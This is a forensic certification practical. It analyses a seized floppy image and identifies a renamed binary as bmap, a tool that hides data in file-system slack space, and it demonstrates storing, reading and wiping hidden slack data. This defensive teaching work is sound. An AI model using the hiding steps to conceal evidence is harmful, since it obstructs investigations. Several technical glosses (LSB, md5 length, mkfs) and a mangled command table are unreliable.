GIAC Certified Forensic Analyst Practical Assignment with Compromised Redhat Linux 7.2 Honeypot Analysis (GCFA Practical Version 1.4)

Jason B. Anderson, GCIA, GCIH
Feb 2nd, 2004
Abstract
This practical assignment is organized in 3 major sections. The first section will document an in-depth forensic analysis of seized evidence, including an analysis of an unknown binary. The second section will document the application of well-known computer forensic methods to the investigation and analysis of a remotely compromised Redhat Linux 7.2 Honeypot using network based file recovery. The final section of this document will discuss legal issues related to the incident handling.

Table of Contents

Typographical Conventions Used for Part 1 & 2................................................................. 4
Part 1 – Analyze an Unknown Binary ................................................................................. 5
  Abstract .......................................................................................................................... 5
  Background Information ................................................................................................. 5
  Preparation of Lab Environment ...................................................................................... 5
  Binary Details .................................................................................................................. 8
  Analysis on the binary_v1_4.zip zip archive file ......................................................... 8
  Extraction of the binary_v1_4.zip zip archive ............................................................... 9
  Verification of file integrity for fl-160703-jp1.dd.gz .................................................... 10
  Decompression of the fl-160703-jp1.dd.gz file ............................................................ 10
  Analysis of the fl-160703-jp1.dd Linux Ext2 File-system ............................................. 11
  Mounting and Verification of the fl-160703-jp1.dd File-system for further analysis .... 11
  Analysis of the floppy image root directory .................................................................. 12
  Verification of prog File Integrity .................................................................................. 13
  Analysis of the prog executable file attributes ............................................................ 14
  What is the True Name of the prog Executable? ........................................................... 14
  Binary Details Summary ................................................................................................. 18
Program Description ............................................................................................................. 19
  What Type of Program is the ‘prog’ executable? ......................................................... 19
  What is prog used for? .................................................................................................... 21
  When was the last time it was used? ............................................................................. 21
  Step by step functionality analysis: Using the prog program to manipulate slack space ................................................................................................................................. 22
  Step by step functionality analysis: Observing prog’s system calls with the strace utility ........................................................................................................................................ 28
Forensic Details .................................................................................................................... 38
  Forensic footprints left by prog ...................................................................................... 38
  Other files used by prog during execution ..................................................................... 39
  Affects on filesystem by execution of prog .................................................................. 40
  prog’s interaction with system files .............................................................................. 40
  Further information in prog that could be extracted for information ......................... 40
Program Identification .......................................................................................................... 40
  Locating bmap from the Internet .................................................................................. 40
  Compiling bmap ............................................................................................................ 41
  Differences between bmap and prog ............................................................................ 43
  MD5 Hash Comparison .................................................................................................. 44
Full Description of research process determining that prog=bmap ........................................ 45
Legal Implications ................................................................................................................. 45
Proving that the prog binary was executed ........................................................................ 45
Laws violated by bmap ........................................................................................................ 47
Penalties for using bmap ...................................................................................................... 47
Violation to corporate policy ............................................................................................. 48
Interview Questions ............................................................................................................. 48
Questions for person John Price to prove he owned/ran file .................................................. 48
Case Information .................................................................................................................. 50
Details for Floppy analysis, evidence found? ....................................................................... 50
What evidence (if any) suggests JP was using corporate resources to distribute copyrighted material? .................................................................................................................. 56
Advice for System Administrators for detecting bmap usage ................................................ 58
Additional Information .......................................................................................................... 59
Appendix A: Full zip archive information from zipinfo –v command .................................... 59
Appendix B. Verification of restricted file-system mount options .......................................... 61
References .............................................................................................................................. 63
Part 2 – Option 1: Perform Forensic Analysis on a system: Investigation of a Compromised RedHat 7.2 Virtual Honeypot .......................................................... 64
Synopsis of Case Facts ......................................................................................................... 64
Describe the system to be analyzed ...................................................................................... 64
Hardware Description ............................................................................................................ 65
Honeypot VMware Host Description .................................................................................... 65
Honeypot VMware Guest System Description ...................................................................... 65
Image Media .......................................................................................................................... 66
Image Capture and Transfer ................................................................................................. 66
Image Transfer Integrity Verification ..................................................................................... 67
Media Analysis ....................................................................................................................... 68
Analysis Environment Configuration .................................................................................... 68
File-System Analysis ............................................................................................................. 70
Timeline Analysis ................................................................................................................ 85
Recovery of Deleted Files ..................................................................................................... 95
String Search Results .......................................................................................................... 99
Conclusions ............................................................................................................................ 102
References ............................................................................................................................. 103
Part 3 - Legal Issues of Incident Handling ............................................................................. 104
Laws broken by the Distribution of copyrighted materials in the United States .................. 104
Definitions and Scope .......................................................................................................... 104
Rights of Copyright Owners and Definitions of Violation .................................................. 104
Limitations on the Rights of Copyright Owners .................................................................. 105
Liability Limitations for Service Providers ......................................................................... 105
Incident Response Strategies in Copyright Violation Scenarios within the United States ........ 106
Preparation ............................................................................................................................. 106
Identification ......................................................................................................................... 106
Containment .......................................................................................................................... 107
Eradication ............................................................................................................................. 107
Lessons Learned.......................................................................................................................... 107
Evidence Preservation Strategies for Possible Future Action within the United States
.................................................................................................................................................. 108
   Media & Content Integrity Considerations .............................................................................. 108
   Chain of Custody Considerations ............................................................................................ 108
   Best Evidence Considerations ............................................................................................... 108
Incident Response Requirements for cases Involving the Sexual Exploitation of Minors
..................................................................................................................................................... 108
   Preparation Considerations .................................................................................................... 108
   Identification Considerations .................................................................................................. 109
   Containment Considerations .................................................................................................. 110
Legal References.......................................................................................................................... 110

Typographical Conventions Used for Part 1 & 2.

A number of typographical conventions will be used to maximize document clarity and readability:

**Section Headers will be in Bold Italic Arial 16 Point.**

**Subsection Headers will be Bold Italic Arial 13 Point.**

Standard Text such as this will be presented in Arial 12 point.

Courier New 8 point, such as this, will be used to identify text associated with computer keyboard input and computer monitor output. Computer interface (shell text) input/output will be presented in a text box such as this:

```
[forensics@GCFA root]# echo 'text and commands typed by the forensic analyst will be presented in red Courier New 10 point'
Computer response will be identified in black
[forensics@GCFA root]#
```

Computer commands, hereby referred to as **shell commands**, will all be denoted in as red Arial 12 point standard text. This is necessary because some computer commands, such as `strings`, and `cat`, and `file` could otherwise be interpreted in the wrong context.

The asterisk symbol:* will be used to attract the reader’s attention to a footnote at the bottom of the page. Footnotes will be used to elaborate on peripheral details mentioned in the body of the document

References will be identified by superscripts, such as this:123

* Inspiration for this typographical methodology is owed to Greg Owen’s SANS GCFA Practical
Part 1 – Analyze an Unknown Binary

Abstract
By utilizing forensic analysis techniques we will analyze an unknown binary with the intent of understanding its purpose and role related to alleged illegal activities. Throughout the course of this analysis, an effort will be made to describe the motivations and methodologies associated with the computer forensic analysis techniques employed to investigate the binary.

Background Information
During the course of a corporate audit it was discovered that an employee may have been misusing the organizations computer resources to illegally distribute copyrighted material. During investigation, a 3.5 inch TDK floppy disk was seized and identified as evidence. This evidence was documented for chain of custody purposes as tag # fl-160703-jp1.

In an effort to ensure the integrity of the data on #fl-160703-jp1 for future purposes, corporate investigators utilized a commonly accepted cryptographic fingerprinting program known as md5sum to calculate a unique 32 byte mathematic signature based upon the data on the disk as it existed immediately after seizure. Due to the mathematically exact nature of the algorithms employed by the md5sum program, even the smallest modification to the data on the disk in the future would cause a corresponding md5sum signature to be completely different. Based upon the mathematical one-to-one relationship established between the 32 byte signature and the disk data itself, future identical md5sum generated signatures offer irrefutable proof of disk data integrity since the time of the original md5sum fingerprint.

Preparation of Lab Environment
Preparation of the lab analysis environment is driven by the following goals

- Network disconnection quarantine of analysis system to prevent threat of unintended malicious code propagation and infection of other systems.
- Assurance of compliance with state and federal laws regarding software licensing requirements
- Integrity of analysis software tools and platform to ensure that all data analysis is performed with known and trusted tools.
• Leverage all available means to ensure that the forensic analyst can exert all necessary control over the execution and potential propagation of unknown/malicious code\textsuperscript{9}.

To meet the aforementioned criteria, a lab analysis environment was configured via the following methods:

• An isolated (non-networked) laptop computer system was identified as the platform for analysis, the hard-drive on this system was thoroughly cleaned (wiped) by re-writing all available data locations with 0’s. By removing all residual information off of the analysis system hard-drive, we could ensure that any modifications made to the analysis system by suspect malicious programs could unambiguously be attributed to the malicious program.

• Operating System install media images were downloaded from a vendor website along with the \texttt{md5sum} signature of that image as it existed at the time of publication to customers. Once downloaded, an \texttt{md5sum} fingerprint was again calculated and compared to the vendor published signature. Both signatures were verified to be equivalent, thus assuring us that no modifications to the install media had taken place since the time of vendor publication.

• The operating system install media was used to install the operating system on the laptop analysis system. Prior to installation it was assured that the laptop had no network configurations or physical network connections. However, because it is known that analysis of some malicious programs requires network connection, the analysis system will be configured from install in such a way that facilitates connection to a stand-alone network hub, which can be used to network the laptop with any other analysis systems for network based forensic analysis. An alternative solution to usage of other physical hardware would be to employ multiple virtual operating systems through the use of software such as VMware, used to emulate multiple operating systems on a single computer simultaneously.

• Following hardware install, forensic tools were downloaded from the vendor on an alternate system and burned to CD media, along with the \texttt{md5sum} fingerprints of those tools as they existed at the time of publication on the vendor website. Once downloaded, an \texttt{md5sum} signature was recalculated from the downloaded image and compared against the original vendor signature. Both signatures were found to be identical, assuring us that the integrity of the forensic analysis software was intact since publication from the vendor.

• All relevant software licensing requirements were reviewed and verified to be in compliance with local and federal laws.

The operating system that we will use for the investigation will be Redhat Linux 9.0. The additional forensic software installed was Sleuth Kit 1.67. Our selection of Linux as an operating system is based upon the availability of command line shell environment tools. The LINUX operating system is developed around being able to string smaller and more simplistic programs into more complex and elaborate functions.
through the shell pipe interface. Each Unix program is required to have at least 3 channels, or file descriptors. One is for incoming data (aka STDIN), One is for outgoing data (aka STDOUT), and the last for error output (aka STDERR). By using these features, we can plumb output from simple tools to other simple tools. The thing that links one channel to another is symbolized in UNIX shell as the pipe: "|" character. An example is shown below, where we e-mail a message to ourselves from the command line. The root@localhost e-mail account exists internally on every Linux system.

```
[forensics@GCFA root]# echo "Greetings from the UNIX Commandline" | mail -s "Test Message" root@localhost
```

Upon configuration of the laptops operating system with Linux RedHat 9.0, we will configure a contained environment for binary analysis. This is accomplished by employing the following series of commands to create a controlled file-system as a container in which we will examine the malicious program.

```
[forensics@GCFA tmp]# dd if=/dev/zero of=./restricted_file_system bs=1M count=25
25+0 records in
25+0 records out

[forensics@GCFA tmp]# losetup /dev/loop0 ./restricted_file_system

[forensics@GCFA tmp]# mkfs.ext3 -c -L "Restricted FS" /dev/loop0
mke2fs 1.32 (09-Nov-2002)
Filesystem label=Restricted FS
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
6400 inodes, 25600 blocks
1280 blocks (5.00%) reserved for the super user
First data block=1
4 block groups
8192 blocks per group, 8192 fragments per group
1600 inodes per group
Superblock backups stored on blocks:
8193, 24577

Checking for bad blocks (read-only test): done
Writing inode tables: done
Creating journal (1024 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 33 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override.

[forensics@GCFA tmp]# mkdir analysis_directory
```

Here we use the Linux mkfs command to create a new directory for us to use as a mount point (i.e. starting point) for our restricted file-system.
Binary Details

To initiate our investigation, we copy the compressed executable to our restricted file-system.

Analysis on the binary_v1_4.zip zip archive file

Our first test is to ensure that the file given to us is considered by our analysis system to be a ZIP archive file. Even though the suffix on the file is ‘.zip,’ we will verify by using the Linux file command to interpret the content of the file to ensure that it substantiates the assumption that the file is really a ZIP archive:

```
[forensics@GCFA analysis_directory]# file binary_v1_4.zip
binary_v1_4.zip: Zip archive data, at least v2.0 to extract
```

We can ensure that our zip version is valid by calling it with the ‘-v’ argument:

```
[forensics@GCFA analysis_directory]# zip -v
```

We next use the stat command to see the modification, access and change times associated with the zip file:
The stat command is used to get the file-system related meta-data.

We see from the `stat` command that the Modification, Access and Change times of the evidence file were all set when the file was copied to our restricted file-system.

We would like to know the last access times of the files at the time of their compression with the `zip` program, to do this we will run `unzip -v` to get the access times associated with the archived files when they were archived:

It appears that the contents of the zip file were last accessed on July 15th, 2003. `md5sum` signatures were taken shortly thereafter and included for future data integrity verification.

**Extraction of the binary_v1_4.zip zip archive**

The next step in the analysis is to `unzip` the binary file and verify that its contents and meta-data are consistent with that listed in the zip archive analysis section above.

† File-system meta data is the term used to describe the data about the files, i.e. their access, modification, and change times, their permissions, owners, group ownership, etc.
We see that the fl-160703-jp1.dd.gz file was last accessed on July 15\textsuperscript{th} 2003, at 10:03 PM. The md5sum signature was copied later at 11:14 PM on the same day. The lost+found directory was created automatically at time of restricted file-system creation; this time is listed in the last access time of Nov 28\textsuperscript{th} at 5:13 PM.

**Verification of file integrity for fl-160703-jp1.dd.gz**

Next we wish to confirm the integrity of the data file fl-160703-jp1.dd.gz file by comparing the current md5sum signature with the one captured prior to compression with the zip program. This information is conveyed in the form of a screenshot to eliminate concerns regarding the validity of the copied data. By communicating the data in this way, we help to eliminate doubt regarding authenticity of md5sum signature authenticity for juries.

It can be seen in the screenshot that the md5sum signatures of the fl-160703-jp1.dd.gz files have not changed since the time the files were originally archived. We can now proceed with our analysis confident that we are analyzing the same image as was collected by the investigators.

**Decompression of the fl-160703-jp1.dd.gz file**
We next wish to look at the fl-160703.jp1.dd.gz file. Based upon the suffix of the file (.gz), we suspect that the file is compressed with Lempel-Ziv encoding; we can confirm this with use of the file command.

| [root@celeron analysis_directory]# file fl-160703-jp1.dd.gz | fl-160703-jp1.dd.gz: gzip compressed data, was "fl-160703-jp1.dd", from Unix |

We know that gzip compression does not modify the ownership, access or modification times associated with the file before compression or after decompression (see gzip(1) Linux man page). So we can safely by decompressing the file with the gunzip command.

<table>
<thead>
<tr>
<th>[forensics@GCFA analysis_directory]# gunzip fl-160703-jp1.dd.gz</th>
<th>[forensics@GCFA analysis_directory]# ls -l fl-160703-jp1.dd</th>
</tr>
</thead>
<tbody>
<tr>
<td>[forensics@GCFA analysis_directory]# gunzip fl-160703-jp1.dd.gz</td>
<td>[forensics@GCFA analysis_directory]# ls -l fl-160703-jp1.dd</td>
</tr>
<tr>
<td>[forensics@GCFA analysis_directory]# gunzip fl-160703-jp1.dd.gz</td>
<td>-r-------- 1 root root 1474560 Jul 15 22:03 fl-160703-jp1.dd</td>
</tr>
</tbody>
</table>

Here we use the gunzip command to inflate the file to its regular size. Afterwards, we use the ls command to review the attributes of the decompressed file.

Analysis of the fl-160703-jp1.dd Linux Ext2 File-system

Once we have de-compressed the evidence file, we again use the file command to classify the resulting file.

| [forensics@GCFA analysis_directory]# file fl-160703-jp1.dd | fl-160703-jp1.dd: Linux rev 1.0 ext2 filesystem data |

As anticipated, the file is recognized as a Linux Ext2 file-system. It is probably safe to assume from this information that the floppy disk seized by Investigators was copied bitwise via the dd command to an image for compression. This will allow us to easily mount the file-system via loopback with the following commands. Another benefit of bitwise copying is that it will preserve all data on the disk, including deleted and undeleted files.

Mounting and Verification of the fl-160703-jp1.dd File-system for further analysis

We will mount the fl-160703-jp1.dd file-system in the same way as was done with the original container file-system. We will also mount the image in a way that will restrict our ability to contaminate the access times and to restrict our ability to unintentionally execute any malicious programs. In addition to the mounting options utilized before, we will also mount the image read only to ensure that we don't accidentally contaminate the evidence.
Here we use the `mkdir` command to make a directory upon which we will mount the file-system image:

```
[forensics@GCFA analysis_directory]# mkdir ./floppy_image
```

Here we invoke the `mount` command, specifying that we want to mount the file read-only, via loopback, with no execution privileges and no access time modification privileges on to the `floppy_image` directory:

```
[forensics@GCFA analysis_directory]# mount -o ro,loop,noexec,noatime fl-160703-jp1.dd ./floppy_image
```

We change to the directory and use the `ls` command to list the files on the mounted file-system. The `-al` argument specifies to list the contents of the directory in long format, and to list any ‘hidden’ files, or files starting with a ‘.’, such as `~5456g.tmp`.

```
[forensics@GCFA floppy_image]# cd floppy_image; ls -al
```

At this point we have safely and successfully mounted the file-system image as it would have existed on the original floppy. Upon listing the details of the directory with the `ls` command, we see the contents of the directory. We can also see permissions, file owner, file group membership, and size (in bytes), and last access time via the `ls` command invocation for each of the files on the floppy image.

**Analysis of the floppy image root directory**

We can now enter the directory and use the `file` command to examine the data content of the files:

```
[forensics@GCFA analysis_directory]# cd floppy_image
```

```
[forensics@GCFA floppy_image]# file *
Docs:                     directory
John:                     directory
lost+found:               directory
May03:                    directory
nc-1.10-16.1386.rpm..rpm: RPM v3 bin 1386 nc-1.10-16
prog:                     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped
```

...
By performing a `file` command on each of the files in the floppy image directory, we are able to determine the file types from the contents of each file. Docs, John, May03, and lost+found are all directories. The `.~5456g.tmp` file was not recognized by the `file` command, which simply interpreted the file as generic data. The `nc-1.10-16.i386.rpm` file was found to be a binary `.rpm` file‡. Binary RPM files are often used to encapsulate files intended to facilitate a Linux RedHat software installation. In this case, it appears that the file was archived with an RPM version 3. The `prog` file appears to be a 32-bit Linux formatted executable compiled for execution on Intel 80386 architecture. This file appears to have been statically linked, meaning that it has all necessary file libraries linked into the executable itself. While making the file significantly larger, this would have eliminated library availability issues for the alleged violator when moving between computers with the floppy disk. The `file` command also shows us that the file has been stripped, indicating that human readable symbols have been stripped out. This is commonly done by malicious users to confound forensic investigation efforts.

**Verification of `prog` File Integrity**

Next, we wish to verify that the integrity of the `prog` file has been maintained since the evidence signature. We can accomplish this by verifying that that the contents of the `prog` file are identical to the contents when seized by the Investigators. We again use the `md5sum` command to create a signature of the current `prog` file for comparison to the `prod.md5` snapshot:

‡ `.rpm` stands for Redhat Package Manager. This is a format for managing software packages on the Linux operating system
We see from the screenshot that the md5sum signatures of the file as it existed after seizure and the signature as it presently exists are identical. We have verified that the file integrity has been maintained.

**Analysis of the prog executable file attributes**

The meta-data of the prog executable can be attained by invoking the stat command.

Here we can see that the prog executable was owned by user id 502, and was associated with the group id 502. Because Linux only associates real names through the /etc/passwd and /etc/group files, we cannot know what user and group names were associated with GID/UID 502 on the machine where the binary was compiled. By default, the Redhat operating system begins the UID's/GID's at 500, so 502 probably represented the third account created on an original Redhat system. The file size is 487476 bytes. The majority of this file size is likely due to the statically linked libraries.

What is the True Name of the prog Executable?
Next, we will determine the true name of the executable. By the generic nature of the name itself, we can infer that this executable was probably intentionally renamed to obscure the purpose of the program from system administrators or other system users.

We have two promising sources of information from which we can search for clues regarding the real name of the prog executable. The first source is file meta-data, the second is the file data itself. The stat command was previously used to identify the owner and group of the prog file, along with the size, block count, inode, links, and creation, modification, and access times associated with the file. None of this information presents us with any insight regarding the purpose and original name of the file. We must examine the prog binary file itself for clues regarding its purpose and original program name. One reliable method for gathering such information is to list all printable character sequences within the binary. This can be accomplished with the strings command. By default, strings lists all printable character sequences that have at least 4 consecutive printable characters, but by using the ‘-n #’ option, we can change this minimum number of characters arbitrarily. Our strategy will consist of using the strings command to identify interesting sequences of words that might help us to create search queries for Internet search engines; of these, we will elect to use www.google.com, which is widely known as one of the most comprehensive internet search engines currently available.

To get an idea of how many printable character sequences exist that could provide clues regarding the program origination, we can count the number of searchable sequences with the wc command, which when invoked with the ‘-l’ argument, is capable of counting the number of returned sequences.

```
[forensics@GCFA floppy_image]# strings -n 4 prog | wc -l
4760  
[forensics@GCFA floppy_image]# strings -n 8 prog | wc -l
3896  
[forensics@GCFA floppy_image]# strings -n 16 prog | wc -l
373   
[forensics@GCFA floppy_image]# strings -n 24 prog | wc -l
223   
[forensics@GCFA floppy_image]# strings -n 32 prog | wc -l
94    
[forensics@GCFA floppy_image]# strings -n 48 prog | wc -l
18
```

By performing the above queries, we have hoped to identify a minimum printable character sequence count that provides us with sufficiently detailed data for our internet search, yet doesn’t obscure the output with more simple, non-helpful strings. We begin by viewing all of the 48 printable character sequences; our goal will be to identify a pattern to use in Google.

```
[forensics@GCFA floppy_image]# strings -n 48 prog
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ

Any of the valid values for \fB--%s\fR can be supplied directly as options. For instance, \fB--%s=%s\fR can be used in place of \fB--
%g=sa\fR.
```

We start out by counting the number of 4 character printable sequences, and increment up to 64 character printable sequences. As expected, invoking the strings command with a minimum printable character sequence number of 48 yielded 18 results.
The printable character sequences above are searched for lines that look like they could be used as internet search engine queries. The string “use block-list knowledge to perform special operations on files” appears to be part of a possible usage explanation; something that might be returned by invoking the ‘-h’ option on the program. The uniqueness of this string can be used to our advantage. As seen below, the aforementioned string was identified only twice by Google:

Following one of the links returned by www.google.com above yielded the following find (note the highlighted description in the following screenshot):
Here we see that a program called *bmap* was released to the Linux community in April of 2000, with the capability of using block-list knowledge to perform special operations on files. This is a sufficient amount of information to compel us to suspect that ‘prog’ is possibly *bmap*.

Based on having identified the possible true file name of *prog* as *bmap* version 1.0.20, we can now research the *bmap* 1.0.20 program via [www.google.com](http://www.google.com). A description of *bmap* was found at [http://build.lnx-bbc.org/packages/fs/bmap.html](http://build.lnx-bbc.org/packages/fs/bmap.html) as seen below:
The description of the bmap tool substantiates the documentation produced by the prog executable. Re-iterating the passage above:

‘The blocksize of a typical file system varies from 1K to 4K. Every file takes at least one block. The unused space in that block is slack space. bmap can save data into this slack space, extract data from slack space, and delete data in slack space. The data cannot be accessed using tools unaware of slack space (i.e. almost all other tools), does not change existing files, and therefore cannot be detected using checksums or access times.’

Bmap is a data hiding tool to hide information in the unused space in file-system blocks, commonly referred to as ‘slack space.’

We now have reason to investigate the contents of the slack space on the floppy and any other systems possibly accessed by the alleged perpetrator.

**Binary Details Summary**

The Binary Details associated with the prog executable can be summarized as follows:

**True name of the program**: bmap 1.0.20

**File/MACTime information**:
Program Description

What Type of Program is the ‘prog’ executable?

As previously established, our first test in analysis of the ‘prog’ executable is to use the `file` command. In order to fully comprehend the capabilities and limitations of `file` in its ability to help us assess the nature of our unknown executable, we’ve prepared the following brief introduction.

`file` attempts to classify its arguments based upon 3 sets of tests in the following order (see `file(1)` Linux man page):

- **file-system tests**: the `file` command attempts to classify its argument based on this test first. This test is based upon return of an internal Linux system call (a way of interfacing with the Linux kernel to garner information). These tests are used to assess whether the file has any content, whether it is a special file used to maintain the operating system
- **magic number tests**: If classification isn’t successful with the file-system tests, the magic number test is then attempted. These tests perform basic pattern recognition matching on bytes near the beginning of the file that are commonly used to discriminate program types. Most file types have a small bit of identical data somewhere near the beginning of the file that can be used for classification purposes.
- **language tests**: This is last resort for `file` to try after having failed to identify a classification based upon the 2 previous attempts.

Executing the `file` command against the unknown binary yielded the following results:

```
$ file ./prog
prog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
    for GNU/Linux 2.2.5, statically linked, stripped
```
Let’s spend a few moments to analyze file’s classification of the unknown executable:

<table>
<thead>
<tr>
<th>File information</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>ELF 32-bit LSB executable</td>
<td>ELF stands for Executable and Linking Format. ELF is a binary standards format for object files (the building blocks used in executable program construction). LSB stands for Linux Standard Base, LSB indicates compliance with an open source consortium who has developed standards with the intention of preventing divergence in binary file types among different Linux based operating systems. 32 bit states that the executable was compiled for 32 bit processor architecture, as is the case on Intel® processors.</td>
</tr>
<tr>
<td>Intel 80386</td>
<td>This states that the binary was compiled with optimizations for an Intel 80386 processor.</td>
</tr>
<tr>
<td>version 1 (SYSV) for GNU/Linux 2.2.5</td>
<td>This states that version 1 of the object file version (part of the ELF specification)</td>
</tr>
<tr>
<td>statically linked</td>
<td>Static linking means that all required libraries necessary for program execution have been included in the executable.</td>
</tr>
<tr>
<td>stripped</td>
<td>Stripped indicates that the text names of the library functions have been stripped out of the binary.</td>
</tr>
</tbody>
</table>

We can infer from the above descriptions that the program is definitely a Linux executable. All of the details regarding ELF format essentially show us that the program compilation occurred on a modern Linux operating system.

The fact that the program was statically linked has some possibly relevant implications to the case. Static linking suggests that the person compiling and/or using the program might have planned on using the executable on multiple computers and did not want to worry about having all necessary libraries available on each machine. Nefarious hackers have been known to statically link their programs and copy these programs from system to system. The downside to statically linking a program is that it has to include all of the required libraries in the executable itself, which tends to significantly increase the size of the file. This downside typically isn’t of major concern when the alternative is non-functionality on multiple system variations. In any case, the size of a statically linked file is much larger than that of a dynamically linked file. The size of the prog file substantiates the file command’s claim.
What is prog used for?

Based upon the discovery that the unknown executable is really bmap, we can infer that it’s purpose is simply that of the bmap utility. Bmap has the capability of performing operations on slack space of file-systems. To verify this, we download and build an instance of the bmap utility for testing purposes. By invoking the help option of bmap, we are able to see all of the possible utilizations of bmap (see below in document for compilation of bmap):

```
[forensics@GCFA bmap-1.0.20]# ./bmap --help
Usage: bmap [OPTION]... [target-filename]

use block-list knowledge to perform special operations on files

--doc VALUE
   where VALUE is one of:
   version display version and exit
   help display options and exit
   man generate man page and exit
   sgml generate SGML invocation info

--mode VALUE
   where VALUE is one of:
   map list sector numbers
   carve extract a copy from the raw device
   slack display data in slack space
   putslack place data into slack
   wipelslack wipe slack
   checkslack test for slack (returns 0 if file has slack)
   slackbytes print number of slack bytes available
   wipe wipe the file from the raw device
   frag display fragmentation information for the file
   checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
--verbose be verbose
--log-thresh <none | fatal | error | info | branch | progress | entryexit>
   logging threshold ...
--target <filename> operate on ...
```

To summarize, it is expected that the prog binary was possibly used to operate on data within the slack space of file-systems. Data may have been hidden, retrieved, or wiped from file-systems.

When was the last time it was used?

We can use the stat command to list each of the 3 times associated with a file in the Ext2 file-system.

```
[forensics@GCFA floppy_image]# stat ./prog
    File: `./prog'
    Size: 487476    Blocks: 960    IO Block: 4096    Regular
    File
    Device: 702h/1794d  Inode: 18  Links: 1
```
The Access time listed above represents the last time that the unknown executable was accessed. We know that the Access time for a file is updated due to a number of possible situations:

- The file was executed
- The file was read.
- The file was listed via a directory listing or a file-system search utility (ls, find)

Hence, we know that the file may have been executed on July 15th, 2003 at 11:12:45 pm MST.

**Step by step functionality analysis: Using the prog program to manipulate slack space**

Initial assessment of the prog functionality is consistent with that of the bmap utility. At this stage in the analysis, it can be assumed that these programs are the same. Based upon the functionality of bmap and the documentation produced by the prog utility, it appears that we have a file system slack space manipulation program. At this point in the analysis, it would be beneficial to briefly review the structure of file-systems and illustrate the relationship between files and blocks to base further analysis upon.

Blocks are an organizational unit used by filesystems to store filesystem data and certain meta-data structures. The filesystem used by most Linux operating systems, including the one found on the floppy, is the Ext2 filesystem. The Ext2 filesystem creation uses a default block size of 4096 bytes/block. Block sizes can be selected at file-system creation time by the system administrator based upon the anticipate size of files in which the file-system is being created to hold. Options for block size are 1024, 2048, and 4096 bytes/block.

The operating system stores file data content in one or more blocks. For files smaller than 4096 bytes on a 4096 byte/block default configured ext2 Linux file-system, only one block is necessary for file content storage. For files larger than 4096 bytes, the number of blocks necessary for file storage can be determined by the dividing the File size (in bytes) by 4096 bytes/block, rounding up to the next integer block count. As an example, for a 15000 byte file, the blocks required for storage would be 3.6621 blocks, which rounds up to 4 blocks. We know that 4 - 3.6621, or .337 blocks, is equal to 1384 bytes. 1384 bytes would be unused in the 4th block. These 1384 bytes in the last block are conventionally referred to as slack space, and are not available to the file-system for utilization, and are unavailable to the user without special tools, such as bmap, or in our case, the prog executable. The following diagram graphically represents the allocation of data among the 4 allocated blocks.
The purpose of the prog executable is to store and retrieve data in unallocated slack space. As we can see in the above diagram, 4095 bytes is the maximum amount of data that can be stored in the slack space on a Ext2 filesystem configured for 4096 bytes/block. This special case would be when a file's size was only 1 byte greater than some multiple of 4096 bytes. At the least, only one byte of slack space would be available for files whose last block contained 4095 bytes of data.

The limitations of the slack space pose implications to the amount of data that may be hidden within slack space. We can see that one cannot continuously store files greater than 4kb within slack space with the prog executable. This realistically limits the amount of data that can be hidden by the prog executable to small files, such as text files. We will examine the contents of the slack space on the floppy image later in the analysis.

For this section of the analysis, we will evaluate the effectiveness of the prog utility in storage and retrieval of data from slack space. Analysis of the prog executable's functionality will be broken up into 3 phases:

Basic Analysis(trivial file): analysis will be dedicated to testing all of the prog executables ‘—mode’ functionalities on a simple file. An effort will be made here to gain a solid understanding of how different invocations of the prog executable can be used to create, get, and delete data from a partially filled data block.

Small File Analysis(less than 4096 bytes): analysis will be dedicated to testing all of the prog executables ‘—mode’ functionalities on a file that fills exactly 25% of the block space for 1 block(4096 bytes). Data will be written to fill the remainder of the slack space for this block with the ‘prog —mode p,’ or slack space data placement invocation. The data will then be retrieved from slack space using the ‘prog —mode s,’ or slack space data retrieval invocation. The byte counts of all actions will be considered and used to verify the functionality of the prog executable.
Large File Analysis (greater than 4096 bytes): This analysis will do everything performed in the Small File Analysis on a file that spans multiple blocks. This effort will be made in order to test the functionality and characteristics of manipulating data in slack space on the blocks dedicated to files larger than 1 block.

### Basic Analysis

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>echo &quot;This is a short file&quot; &gt; short_file</code></td>
<td>Here we create a trivially small text file, this requires 1 block to be dedicated, even though most will be slack space.</td>
</tr>
<tr>
<td><code>ls -l short_file</code></td>
<td>Here we see that the file is only 21 bytes long, this infers that the block has 4096-21 bytes left, or 4075 bytes of slack space.</td>
</tr>
<tr>
<td><code>./prog-chk ./short_file -v</code></td>
<td>This appears to be a prog bug. We know from the previous analysis that slack does exist.</td>
</tr>
<tr>
<td><code>./prog-checkfrag ./short_file -v</code></td>
<td>This makes sense, as only one block is dedicated to slack, there is no chance for non-contiguous blocks, i.e., fragmentation</td>
</tr>
<tr>
<td><code>./prog-frag ./short_file -v</code></td>
<td>Another apparent bug with the prog utility, no STDOUT or STDERR returned.</td>
</tr>
<tr>
<td><code>./prog-sb ./short_file -v</code></td>
<td>As determined before, 4075 bytes of slack is available for data hiding.</td>
</tr>
<tr>
<td><code>./prog-m ./short_file -v</code></td>
<td>Here we see utilize the -m argument to see the sector numbers associated with the file. This option appears to be for informational purposes only.</td>
</tr>
<tr>
<td><code>./prog-s ./short_file -v</code></td>
<td>Here we verify that no data is already stored in the slack space.</td>
</tr>
<tr>
<td>`echo &quot;Secret message destined for slack space in ./short_file!&quot;</td>
<td>Here we pipe input to the slack space of the file.</td>
</tr>
<tr>
<td><code>./prog-p ./short_file -v</code></td>
<td>Here we attempt to retrieve the data we stored to slack space, after the informational data on file size, slack size, and block</td>
</tr>
<tr>
<td><code>./prog-s ./short_file -v</code></td>
<td>Here we attempt to retrieve the data we stored to slack space, after the informational data on file size, slack size, and block</td>
</tr>
</tbody>
</table>
size, our hidden data is retrieved.

Here we use the -c argument to copy the hidden slack space data to the secret_data file.

Here we examine the contents of the secret_data file, as expected, our hidden message is displayed.

Here we use the -s argument to wipe the slack space data, we see 3 apparent write errors arise.

